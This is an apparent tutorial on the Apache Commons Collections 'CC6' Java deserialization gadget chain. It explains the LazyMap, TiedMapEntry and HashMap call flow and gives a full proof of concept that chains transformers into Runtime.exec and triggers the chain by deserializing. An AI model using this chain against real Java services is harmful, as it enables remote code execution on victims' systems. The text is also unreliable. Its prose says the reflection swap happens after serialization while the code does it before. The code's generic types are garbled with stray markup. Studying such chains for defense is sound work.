Core Mechanism and Call Flow
The sixth widely recognized gadget chain in Apache Commons Collections exploits the interplay between LazyMap and TiedMapEntry to achieve arbitrary code execution during Java object deserialization. Unlike earlier implementations that rely on JDK-specific quirks or dynamic proxies, this path leverages standard collection hashing behaviors, granting it broad compatibility across runtime environments.
Exploitation begins inside the LazyMap class. Its get() method automatically routes unregistered keys through a configured Transformer pipeline. To reach this entry point, we trace the dependency chain backward:
TiedMapEntry.getValue()delegates tomap.get(entry.getKey()).- If the encapsulated map is a
LazyMap, the transformer executes immediately. TiedMapEntry.hashCode()callsgetValue()to compute a consistant hash representation.HashMap.put()invokeshashCode()on every key before bucket insertion.HashMap.readObject()reconstructs entries during deserialization, triggeringput().
This routing ensures the chain activates purely through standard API contracts, eliminating heavy JDK version dependencies.
Deferring Execution Untill Deserialization
A structural limitation exists when building this payload: calling HashMap.put() with a fully wired TiedMapEntry causes immediate execution. To bypass premature activation, we construct the hash map with a placeholder map, perform serialization, and then use reflection to swap the internal map reference after the object graph has been persisted. The payload only executes when readObject() recreates the hash table.
Refined Payload Implementation
The following example demonstrates the delayed initialization technique. Variable identifiers have been updated, and the reflection injection is positioned after container population to prevent early firing.
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class LazyMapChainExecutor {
public static void main(String[] args) throws Exception {
// 1. Assemble the transformation stages
Transformer[] execStages = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
ChainedTransformer executionPipeline = new ChainedTransformer(execStages);
// 2. Attach the pipeline to a LazyMap wrapper
Map<object object=""> rawBackingStore = new HashMap<>();
LazyMap deferredDispatcher = (LazyMap) LazyMap.decorate(rawBackingStore, executionPipeline);
// 3. Instantiate TiedMapEntry with a benign container
TiedMapEntry entryNode = new TiedMapEntry(new HashMap<>(), "dispatch_key");
// 4. Build the primary hash map and insert the entry
HashMap<object object=""> serializationGraph = new HashMap<>();
serializationGraph.put(entryNode, "initial_value");
// 5. Replace the backing map via reflection after put() completes
Field internalMapField = TiedMapEntry.class.getDeclaredField("map");
internalMapField.setAccessible(true);
internalMapField.set(entryNode, deferredDispatcher);
// 6. Serialize the modified object graph
try (FileOutputStream fos = new FileOutputStream("gadget_data.ser")) {
ObjectOutputStream streamWriter = new ObjectOutputStream(fos);
streamWriter.writeObject(serializationGraph);
}
// 7. Deserialize to trigger the gadget chain
try (FileInputStream fis = new FileInputStream("gadget_data.ser")) {
ObjectInputStream streamReader = new ObjectInputStream(fis);
streamReader.readObject();
}
}
}</object></object>
By initializing the TiedMapEntry with a standard HashMap and injecting the malicious LazyMap afterward, the initial put() operation encounters a neutral transformer. Serialization proceeds safely. During deserialization, the reconstructed hash map recalculates key hashes, forcing TiedMapEntry.hashCode() to access the swapped dispatcher. The key flows through the chained transformers, instantiating Runtime and executing the specified process.